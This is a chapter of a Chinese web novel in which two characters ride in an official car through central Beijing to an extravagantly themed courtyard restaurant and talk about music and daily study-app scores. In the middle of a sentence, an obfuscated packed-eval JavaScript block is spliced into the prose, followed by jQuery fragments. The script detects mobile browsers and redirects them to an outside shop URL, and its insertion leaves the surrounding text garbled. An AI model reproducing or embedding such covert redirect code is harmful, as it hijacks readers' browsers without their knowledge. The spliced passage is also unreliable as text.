殷灿言的生日，三月十四日。


    北京的冬天，终于，还是，恋恋不舍地，松开了牙关。


    傍晚时分，见黄昏晓。


    西山的落日，像一颗巨大的、熟透了的咸蛋黄，跌进地平线的珐琅锅里。橘红色的光芒毫无保留地倾泻而下，赤金的针脚细密地将中关村特楼外墙上那些干枯的、藤蔓纠缠的爬山虎缝合到一起，投射进201室这间充满年代感的狭小客厅。


    空气中漂浮的细小尘埃，在光柱里无声地翻滚、沉降。光线被密集的藤蔓切割，化作成无数道斑驳的、晃动游移的阑珊光影。


    殷灿言就坐在这片，温暖而陈旧的光影里。


    她身上套着一件洗得有些发软的白色棉质居家服，怀里抱着一个磨毛的白色靠垫。膝盖上，摊开着一本顾臣戈从地坛旧书摊淘来的、封皮已经泛黄的英文原版《RandomMatrixTheory》。


    书页停留在第42页，很久没有翻动。


    她并没有在看那些枯燥的公式。


    她的目光穿过玻璃窗上的浮灰，长久地停留在天边那抹即将燃尽的晚霞上。


    这几个月，她的生活被按下了静音键。


    没有彭博终端机疯狂跳动的红绿数字，没有深夜响起的越洋电话，也没有陆家嘴那间巨大公寓里、时刻回荡着的空旷回声。


    她甚至已经能够平静地看着夕阳，哪怕光线刺眼，也不再会想起那个关于「折旧」与「损耗」的噩梦。


    隔壁202室的房门，「吱吖」一声轻响，被风吹开了。


    顾臣戈从卧室里走了出来。


    他的手里提着一个巨大的、黑色的厚实防尘袋。袋身正中央，那行烫金的「Gieves&Hawkes,No.1SavileRow」字样，在昏暗的客厅里折射出一道冷冽的暗光。


    那是辰知星下午派专人送来的。


    他走到客厅中央那面镶嵌在衣柜门上、边缘水银已经剥落起翘的老式穿衣镜前。


    镜面模糊，倒映出那个穿着起球的深灰色旧毛衣、头发随意耷拉着、身上似乎还残留着洋葱味的男人。


    顾臣戈抬手，拉开了防尘袋的拉链。


    嘶——


    随着拉链滑落，一套深蓝色的、面料挺括的西装显露出来。精纺羊毛在夕阳的余晖下，泛着一层如同深海般深邃、细腻的哑光。


    他在那面破旧的镜子前，开始更衣。


    脱下旧毛衣，换上质地挺括的高支白衬衫。纽扣扣到最上面一颗，衣领硬挺地立起，修饰出清晰的下颌线。


    他拿起那条与西装同色系的真丝领带，手指在领口翻飞，灵活、精准，大剑压过小剑，绕结，穿孔，收紧，迅速打出了一个饱满、对称的温莎结。


    就在推紧领结的最后一秒，顾臣戈的食指，抵住了领结正下方的丝绸中心，拇指与中指配合，顺势向内一捏。


    随着领结向上推紧、卡死在衬衫领口的那个瞬间，那一小块原本平整的丝绸，听话地向内凹陷，形成了一道深邃、立体、且绝对对称的纵向褶皱。


    接着，他打开一个丝绒小盒。


    取出两枚白金镶嵌蓝宝石的袖扣，穿过法式衬衫的袖孔。


    金属扣合的清脆声响，在安静的房间里显得格外清晰。蓝宝石在昏黄的光线下，闪烁着一种冰冷的、昂贵的幽光，与周围起皮的墙纸格格不入。


    最后，他从洗手间拿出一瓶未开封的发蜡。


    指尖沾取少许，将那些平日里总是软塌塌的刘海，向后梳理、定型。


    当他整理好最后一丝衣褶，转过身时，夕阳的余晖恰好穿过窗棂，像聚光灯一样，打在他挺拔的胸口。


    殷灿言倚在202室的门框上。


    她原本准备好的那句调侃，在舌尖打了个转，又无声地咽了回去。


    她的视线，不受控制地，从他清晰的下颌线滑落，掠过那两枚闪着冷光的蓝宝石袖扣，最终，像是被某种引力捕获，死死环在他领口的下方。


    ——那个饱满的三角形结眼正下方，那道极其深邃、极其立体的……「酒窝」。


    像一柄被擦去了锈迹的古剑，在陋室中，逼出一道寒光。


    殷灿言看着那个「酒窝」，瞳孔微微放大，搭在门框上的手指，下意识地抠紧了木头边缘剥落的漆皮。


    她看着眼前这个光彩夺目的男人，又低头看了一眼自己脚上的棉拖鞋。


    随后，她抬起头，嘴角扬起了一个弧度。


    那笑容里带着几分故作轻松的调侃，眼底却有一层薄薄的水光在闪动。


    「顾臣戈……」她的视线依然停留在他领带那道精致的褶皱上，声音轻得像一声叹息，「今天这身，才像你。」


    顾臣戈看着她。


    看着她那双在夕阳余晖中亮得惊人的眼睛，看着她那件为了保暖而略显臃肿的居家服。


    他没有说话，也没有辩解。


    他只是迈开长腿，走到她面前。


    然后，他微微欠身，抬起左臂，手肘弯曲，向她做出了一个标准的、绅士的邀请姿势。


    西装袖口下，那枚蓝宝石袖扣，正好映着夕阳，晃了殷灿言的眼。


    殷灿言愣了一下。


    她嘴角的笑意加深了。


    她不再犹豫，不再退缩。她走上前，伸出手，极其自然地、稳稳地将自己的手臂，穿过他的臂弯，搭在了那昂贵的精纺羊毛面料上。


    透过衣料，她触碰到了他温热、结实的肌肉线条。


    「走吧。」


    两人并肩，走下了那座水泥台阶已经磨损凹陷、充满了霉味与回忆的灰砖小楼。


    楼下。


    一辆漆黑锃亮、车身修长的红旗H9，正静静地停在刚抽出新芽的老槐树下，平日里总在车棚顶上取暖的那几只流浪猫，此刻忽然不见了踪影。


    车牌上那行红黑相间的「京AG6」字样，硬生生焊在这个充满了煤烟味、积雪和破碎水泥地的老旧小区里。


    戴着白手套的司机看到两人走出楼道，立刻快步上前，拉开了后座的车门：「首长刚跟几个老战友叙完旧，有些乏了。我刚把他送回玉泉山休息。」


    「听辰小姐说，晚宴定在西城。首长特意嘱咐，反正车要回城里，正好顺路，让我拐过来接二位一趟，送你们去西城。」


    顾臣戈对着司机点了点头，低声道了句：「麻烦您了。」


    他侧过身，绅士地挡住车门上方的边框，让殷灿言先上车。


    殷灿言弯腰钻进车厢。


    厚重的车门关闭，将车外的寒风、破旧的苏式楼、以及那个充满了「烟火气」与「清贫」的世界，彻底隔绝在外。


    车厢内，温度适宜，空气中弥漫着一股淡淡的海南沉香的味道。


    车轮碾过地面的残雪，而他们也只是一对去赴宴的、普通的同路人。


    驶下西二环的匝道，车流汇入了那条贯穿北京东西、宽阔得如同神道般的西长安街。


    夜幕降临，华灯初上。


    红旗H9极其平稳地行驶在最内侧的车道上。


    车窗外，西单商业区的霓虹灯光如流动的彩带般向后飞掠。但很快，车子驶过路口，周围的喧嚣仿佛被一把无形的刀，整齐地切断了。


    取而代之的，是一片令人心悸的静穆。


    殷灿言的目光，被右侧车窗外，一座奇怪的建筑吸引了。


    那是一座体量巨大的、通体覆盖着米黄色石材的宏伟建筑。它既没有商业大厦的玻璃幕墙，也没有政府机关常见的红色横幅。


    甚至，它连一块招牌都没有。


    它就这样沉默地伫立在长安街最黄金的地段，却把自己藏在一排极其茂密、高耸的银杏与松柏以及矮乔木围墙后面。


    那些树木显然经过精心的修剪与布局，像一道绿色的屏障，只露出大楼那如同堡垒般坚硬的线条，和门口那两个在阴影中如雕塑般挺立的武警岗哨。


    一种熟悉的、冰冷的压迫感，透过车窗玻璃，渗了进来。


    「那是哪儿？」


    殷灿言下意识地开口，声音压得很低，眉头微微皱起：「怎么连个牌子都没有……看着像……提篮桥。」——上海金融圈驰名归宿，万千金融从业者的心理阴影。


    顾臣戈正闭目养神。


    听到「提篮桥」这三个字，他缓缓睁开眼。


    那一瞬间，他的眼底闪过一丝错愕，随即化作一种极其复杂的、似笑非笑的晦暗。


    他侧头，看了一眼窗外那座在树影婆娑中掠过的庞然大物。


    「某种意义上，你的直觉很准。」


    「不过那里关的不是犯人，是档案。」他淡淡地开口，声音平静得听不出情绪，「那儿是中组部。」


    殷灿言的瞳孔微微收缩——她当然知道这个名字意味着什么。


    顾臣戈抬起手，修长的手指轻轻理了一下袖口的蓝宝石袖扣，目光却没有离开那座大楼。


    「那里没有招牌，是因为不需要。」


    「那里面存放着九千多万人的档案。」他的声音很轻，却像窗外的暮色一样沉重，「从基层科员到那几位……所有人的升迁、贬谪、荣辱、沉浮，都在那座楼里的某张纸上。」


    「包括我。」


    他收回目光，重新闭上了眼，将头靠在真皮座椅上，神色淡漠。


    「对你来说，提篮桥是玩笑的终点。」


    「但对我们来说，那里是真正的起点，也是随时可能落下的闸门。」


    车厢里陷入了死一般的寂静。


    殷灿言看着那座迅速后退、最终消失在夜色中的巨大黑影，只觉得脊背发凉。


    她的身体僵硬地靠回真皮座椅。那种细腻昂贵的皮质触感，此刻贴在背上，却像是一块吸饱了冰水的铁板。


    她下意识地抱紧了双臂，指尖深深地陷入了羊绒大衣的袖口。


    ——他竟然没有反驳。


    甚至，连一声代表否定的嗤笑都没有。


    车子继续向前，红墙黄瓦开始出现。


    驶过新华门的时候，门口那两盏巨大的红灯笼在夜色中散发着柔和而威严的光晕。紧接着，是人民大会堂那巨大的、如同希腊神庙般的柱廊。


    当天安门城楼出现在左前方的那一刻。


    殷灿言下意识地屏住了呼吸。


    那座朱红色的城楼，在璀璨的景观灯下，显得威严而神圣。这辆挂着「京AG6」的黑色轿车，就这样悄无声息地、却又理所应当地，流过了这个国家的心脏。


    顾臣戈睁开了眼，侧头看了一眼窗外掠过的红墙，眼神平静得近乎冷漠。


    车子在广场西侧向右一拐，钻进了前门西侧那些错综复杂的胡同里。


    这里是西城区的最东端，也是百年前北平的「华尔街」。


    路两旁，不再是普通的民居，而是一座座高大的、中西合璧的砖石建筑——那是百年前的劝业场、钱庄、和老证券交易所的遗骸。


    最终，车子在西河沿街深处，一座巨大的、三进式的广亮大门前停下。


    这是一座由老钱庄改建的四合院。


    磨砖对缝的灰墙高耸，门楣上依然保留着精美的砖雕，依稀能辨认出「汇通天下」的字样残迹。但现在，门边那块氧化发黑的黄铜铭牌上，刻着的却是一行法文：


    Piècesd''orauCrépuscule


    「到了。」


    司机稳稳刹车。


    顾臣戈推门下车，绅士地护着殷灿言下来。


    「吱呀——」


    厚重的黑漆楠木大门，伴着门轴的摩擦声，缓缓向内打开。


    一位穿着深灰色中山装的老人提着马灯，站在影壁后的阴影里，对着顾臣戈深深一揖。


    「顾少爷，辰小姐正在试琴。」


    两人跨过高高的木门槛，绕过那座雕刻着「财神献宝」的砖雕影壁。


    一步踏入，时空崩塌。


    头顶是北京初春傍晚特有的泼天的蓝紫色，以及金粉与橘红交织的绚烂晚霞，幻化成游弋的一尾鲲鱼，冷眼俯瞰着这方寸天地。


    而在这片天空之下，是一座被围墙封死的怪诞迷宫。


    四周是标准的江南粉墙黛瓦，高耸的白墙像宣纸一样，将四合院的格局切割得方正森严。


    可墙根下，种的不是牡丹，也不是翠竹。


    而是一丛丛半人高的、枯黄的德国芒草与狼尾草，在东风中野蛮生长，投影在白墙上，透着一股理性的荒凉。


    殷灿言挽着顾臣戈的手臂，高跟鞋踩在深灰色火山岩铺就的小径上，发出轻微的、沙砾摩擦的声响。


    就在那一丛丛野草之间，曲径通幽处每转一个弯，都会撞见一具若隐若现的西方尸骸。


    一尊折断了翅膀的大理石天使雕像，侧卧在乱草堆里，原本洁白的面庞此刻被厚厚的青苔覆盖，像是一个被东方庭院捕获、然后然后缓慢消化、最终遗弃的西方神祇。


    几根断裂的科林斯石柱，像史前巨兽惨白的骨骼，散落在太湖石幽暗的阴影中。柱头上那繁复精美的莨苕叶，正被活着的、枯黄的野草无情地穿透、缠绕。


    京城的四合院，苏州的园林景，德意志的野草，巴洛克的废墟……它们在这里无声地纠缠、吞噬，沦为终局的贡品。


    直到他们转过最后一道满月门，进入正院。


    视野豁然开朗。


    庭院的正中央，传统四合院该种石榴树或摆鱼缸的位置，赫然矗立着一座巨大的、布尔什维克主义风格的喷泉。


    一根粗砺的、灰色的混凝土方柱，笔直地刺向天空。柱体上，赤金镰刀割下麦穗，亮银锤子敲落几个已经严重氧化，却仍随着水流滚动青铜齿轮，像一颗搏动的钢铁心脏。


    喷泉带着重工业的冷酷与集体主义压迫感，像一座沉默的丰碑，镇压着周围那些柔弱的苏式园林和残破的巴洛克废墟。


    「轰——」


    高压水柱从混凝土方柱与锤头的顶端，垂直喷涌而出，直冲云霄。


    庭院底部隐藏的、高功率的琥珀色射灯，经过精密的光学计算，从下往上，精准地聚焦在每一滴水珠上。


    在光与重力的撕扯下，水流在高空炸开。


    「哗啦——」


    每一滴水珠，都在光的折射下，被幻视成一枚闪闪发光的金币。


    它们从天而降，砸落在青铜齿轮上，溅在折翼的天使身上，最后跌入底部黑色火山岩的池底。


    如同奖池爆落金币。


    ——红色图腾，喷涌黄金！


    就在这片由齿轮绞碎出的金色暴雨中，一阵钢琴声，穿透了庭院深处那扇方形的门洞，悠悠地飘了出来。


    透过门洞，可以隐约看到大厅里，一架黑色的施坦威三角钢琴的侧影。


    D小调，舒伯特，《小夜曲》。


    琴声低回、婉转。与眼前这狂暴的、工业的喷泉声，形成了一种令人精神分裂的对位。


    殷灿言停下脚步。


    她仰起头，看着那柄喷射金币的铁锤和收割麦穗的镰刀，又低头看了看脚边那个在野草里沉睡的、满脸青苔的断臂天使。


    「……这地方……」殷灿言轻声开口，瞳孔里映着喷泉的金色倒影，「像是资本主义的停尸房。」


    顾臣戈侧过头，看着她，镜片后的眼神深邃。


    「不。」他抬手，替她挡住了喷泉溅过来的一滴「金币」。


    「这是战利品陈列室。」


    他轻拍了一下殷灿言的手背，淡淡地说道：「什么好用，就把什么拿来。按需分配。」


    「这就是最优解的逻辑。」


    说完，他臂弯微微收紧，带着她穿过那片金色的暴雨，走向那扇传出琴声的门洞，走向主厅。


    那里没有厚重的木门，也没有隔绝视线的屏风，只有一面极简主义风格的落地玻璃墙，被粗壮的深黑色老榆木框架镶嵌在苏式的白墙之中。


    设计师大胆地拆除了正房原本所有的木格栅，只保留了最核心的梁柱骨架。黑色的老木头历经百年风化，呈现出一种炭化的质感，像几笔刚劲的焦墨，在白墙上画出了一个硕大的矩形画框。


    透过这扇通透如无物的玻璃，室内的景象被毫无保留地「框」进了庭院的风景里。


    主厅那架汉堡施坦威三角钢琴，就像是橱窗里的展品，静静地伫立在画框的一角。


    行至黑色的铸铁感应把手前，巨型玻璃便沿着地面的滑轨，发出低沉而顺滑的滚动声。


    两人跨过那道极低的金属门槛。


    随着玻璃门合拢，庭院里那狂暴苏维埃喷泉的轰鸣声，瞬间被双层真空玻璃切断。


    屋里只剩下纯净的琴音，在空旷的空间里流淌。


    但这音乐，却让殷灿言的头皮，在一瞬间炸开了。


    在门外时，隔着喷泉的轰鸣声，她明明听到的是那熟悉的、忧伤的舒伯特D小调《小夜曲》。那标志性的三连音伴奏，穿透了水声，骗过了她的耳朵。


    然而，当她真正站在大厅里，剥离了噪音的干扰后，才发现那架汉堡施坦威的黑白键上，盲人琴师铺垫在底层的，的确是舒伯特那标志性的D小调三连音伴奏。由于低频的穿透力强，它成了在门外唯一能被听清的外壳。


    但在这层外壳之下，在这间绝对安静的红色大厅里，在中声部，琴师切入了一段宽广、厚重的和声——前苏联，《山楂树》。它并没有喧宾夺主，而是化作了坚硬的骨骼，强行撑开了舒伯特原本忧郁窄小的和声结构。


    而在最高音区，琴师的右手敲出了一串晶莹剔透的纯五声调式旋律。


    「好一朵茉莉花，好一朵茉莉花……」


    它去掉了所有复杂的半音，纯净、高亢，像是一道自上而下的谕令，利用高频信号在室内的清晰度，轻盈却霸道地骑在了舒伯特与山楂树的脖子上。


    这首缝合怪一般的「黄昏的山楂树上开茉莉花」，正在这金碧辉煌的大厅里


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16899893|189948||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，肆无忌惮地流淌。


    殷灿言觉得头皮一阵发麻。


    她下意识地抬起手，按了按太阳穴，侧过身，向顾臣戈凑近了半步，声线压得极低，像是怕惊动了空气中那些诡异的音符。


    「在外面听是正常的，进来才发现芯子被换了……」


    她的目光死死地盯着角落里那支正在沉醉演奏的盲人琴师，指尖在空气中快速地划了一道波形线：


    「这是利用了高频对低频的掩蔽效应？把主旋律藏在泛音列里？」她转过头，看着顾臣戈，眼神里满是荒诞：「这哪里是演奏，这完全是声学上的『借壳上市』。」


    顾臣戈站在那片光怪陆离的声场中央。他没有看乐队，也没有看殷灿言。


    清脆的响指声，完美地卡进了旋律的切分点里。


    「这就是辰知星的政治声学。」


    顾臣戈开口，声音平稳。


    「对外，要保留全球化的体面。」


    然后，他看向殷灿言，嘴角的弧度，冷了下来。


    「对内，要坚持自己的主义。」


    他向着那扇重新紧闭的玻璃墙，扬了扬下巴。


    「只要我不说，门外的人，永远以为我们在听舒伯特。」


    而这里，曾是北平证券交易所的核心交易大厅。


    原本的穹顶被修缮一新，巨沥粉贴金蟠龙藻井盘旋在头顶，金箔在幽暗中闪烁着森严的光。四根两人合抱粗的朱红大漆楠木柱，撑起了这个挑高近七米的宏大尺度，开阔而霸道。


    但那条金龙嘴下，却不再悬挂宫灯，取而代之的是一盏苏联重型黄铜吊灯。


    那吊灯由数十根粗壮的黄铜管和磨砂玻璃罩组成，造型似是一颗巡逻卫星，又像是一枚巨大的、发光的五角星——仔细定睛一看，正是「玄戈号」的模样。


    它带着那个年代特有的重工业力量感，霸道地悬挂在龙首之下，用冷白色的光芒，镇压着四周的阴暗。


    大厅四周的窗户，全部被厚重的、深红色的天鹅绒大幕遮得严严实实。


    并不是朱砂红，也不是胭脂红，而是旗帜的红。


    在红旗般的帷幕与「玄戈号」吊灯的照耀下，地面铺的不是金砖，也不是地毯。而是整块带有水磨石质感的灰色花岗岩——长安街路面的颜色。


    殷灿言在那片从天顶垂落、几乎吞噬了光线的红色天鹅绒帷幕前，停下了脚步。


    她仰起头，目光聚焦在头顶那盏造型奇异的黄铜吊灯上。巨大的黄铜管向四周辐射，末端顶着乳白色的球体，像一颗被定格在爆炸瞬间的卫星。


    冷冽的白光打在红色的背景上，有一种复古与科幻撕裂的错位感。


    「这灯……」


    她眯起眼，视线在灯具和四周肃穆的红墙之间游移了一圈。唇角，慢慢勾起了一个微妙的弧度。


    「顾臣戈，你不觉得这画面，特别眼熟吗？」她侧过身，鞋跟在地毯上碾磨了一下。


    「像不像咱们大学时候，每周二雷打不动、必须点开的那个App开屏界面？」


    顾臣戈顺着她的视线看去，那张即使在非工作时间也习惯性紧绷的脸，因为这个突兀的问询，出现了一瞬间的空白。


    「你是说……《青年大学习》？」


    「可不是嘛。」


    殷灿言往前凑了半步，缩短了两人之间的社交距离。


    「当年在元培，我每次都是点开视频，静音。然后直接把进度条拖到最后，截图，往班群里一甩。任务完成。」她压低声音，像是在宿舍里讨论怎么逃课的坏学生。


    她挑了挑眉，目光在顾臣戈那一丝不苟的温莎结上打了个转：「可别告诉我，你是那种会对着手机，戴着耳机，把每一秒都认真看完的老实人……」


    顾臣戈看着她那副有些得意的神情。


    他抬起手，指腹在金丝眼镜的边框上轻推了一下，镜片的反光遮住了眼底一闪而过的笑意。


    「我不用看。」


    他放下手，整理了一下袖口。


    「因为那时候，负责在后台导出Excel表格，统计谁是『秒刷』、谁是『P图』的人……是我。」


    殷灿言脸上的坏笑僵住了。


    「……你是团支书？！」


    「校团委，组织部部长。」顾臣戈纠正道。


    殷灿言张了张嘴，最后什么也没说出来。


    她有些尴尬地摸了摸鼻子，视线从他脸上移开，落向走廊尽头，试图终结这个「自投罗网」的话题。


    「幸好，幸好。」她耸了耸肩，吐出一口气，「那种日子早就结束了。至少在华尔街和陆家嘴，没人逼着我每天早上起来刷《□□》。」


    说到这儿，她像是想起了什么，视线重新落回他身上：「哎，我听说那App现在已经取消排名了？大家都不怎么卷积分了吧？你们部委里……应该也放松了吧？」


    顾臣戈没有回答。


    他只是将手伸进西装内侧的口袋，摸出了手机。


    点亮屏幕，指纹解锁。


    他没有任何避讳，修长的手指在屏幕上滑动了两下，点开了一个红色的图标。


    然后，他手腕一转，将屏幕亮给了殷灿言。


    殷灿言下意识地低头，视线落在那块亮起的屏幕上。


    界面很简洁，没有了曾经那种红红火火、令人焦虑的「好友排行榜」。只剩下一个孤零零的、红色的累计积分数字。


    「100,860」。


    六位数。


    而「顾臣戈」的名字下面，跟着一串金色的、刺眼的十颗星。


    段位：十年磨一剑。


    殷灿言本能地开始心算——《□□》app上线至今大约两千天……单日最高从66下调到52……这意味着，从第一天起，没有任何中断，且几乎每一天，都是满分！甚至连最早期的那些Bug分、活跃时段分……


    「……十万分？！」


    殷灿言猛地抬头。


    她看着顾臣戈，声音有些发飘，像是喉咙里卡了一团棉花：「排名都没了，甚至都没人盯着看了，你还刷它干嘛？！」


    她伸出一根手指，指着那个数字，指尖在空气中微微颤动，怎么也落不下去。


    「而且这个分……这得是一天不落。哪怕除夕，哪怕生病……」


    顾臣戈没有看她，也没有看手机。


    他的拇指在屏幕上轻轻划过，熄灭了那串红色的数字，神色平淡，就像刚刚只是看了一眼时间。


    「排名是给别人看的。积分，是给自己看的。」


    他抬手，将手机放回西装内侧、紧贴心脏的那个口袋里。动作流畅，甚至带着一种仪式般的严谨。


    「每天早晨六点，起床第一件事。」


    「听联播，读文章，双人对战，挑战答题。一天四十分钟。」


    顾臣戈的声音很稳，在空旷的红色回廊里，激不起一丝回声。


    「不管是在飞往日内瓦的红眼航班上，还是在发着高烧的急诊室里……」


    「从这个App上线的第一天起，到今天……」


    「一天满分。一天不断。」


    殷灿言看着他，看着这个站在巨大红色帷幕前的男人。


    他穿着剪裁精准的萨维尔街定制西装，领口的温莎结打得左右绝对对称，连一根发丝都没有乱。


    一股寒意，顺着殷灿言的脚底板，无声地爬上了脊背。


    那不仅仅是枯燥。


    那是一种将自己的生物钟、自己的大脑皮层，强行与这个庞大国家机器的脉搏，每分每秒都保持绝对同频的、近乎自虐的规训。


    像在磨剑。


    十年如一日，在枯燥、重复，甚至有些机械的规则里，把自己磨成一把最锋利、最听话、也最无情的剑。


    「……不累吗？」她忍不住问，「那些……没有任何营养的套话？」


    「灿言。」


    顾臣戈将手机放回口袋，手掌在心脏的位置停留了一秒，按平了衣料的鼓起。


    他仰起头。


    头顶那盏造型奇异的、像卫星一样的黄铜吊灯，在他的镜片上投下一片冷白的反光，遮住了他的眼神。


    「在你眼里，那是应付差事的形式。」


    「但在我眼里，那是风向，是密码，是未来五年资金流动的河床。」


    他低下头，转过脸，看着她。


    在那片冷冽的灯光下，他的瞳孔黑得发亮。


    「在这个厅里吃饭……」


    「……肌肉记忆不刻进骨髓里，就听不到风起的声音。等红头文件发下来再反应，就已经晚了。」


    他隔着西装面料，轻轻按了按口袋位置：「这不是分数……这是我的护身符。」


    说完，他伸出手，握住殷灿言因为震惊而有些僵硬的小臂，掌心温热，干燥，有力。


    「走吧。」他带着她，走向装饰墙后的大厅正中央。


    「别让辰知星等急了。」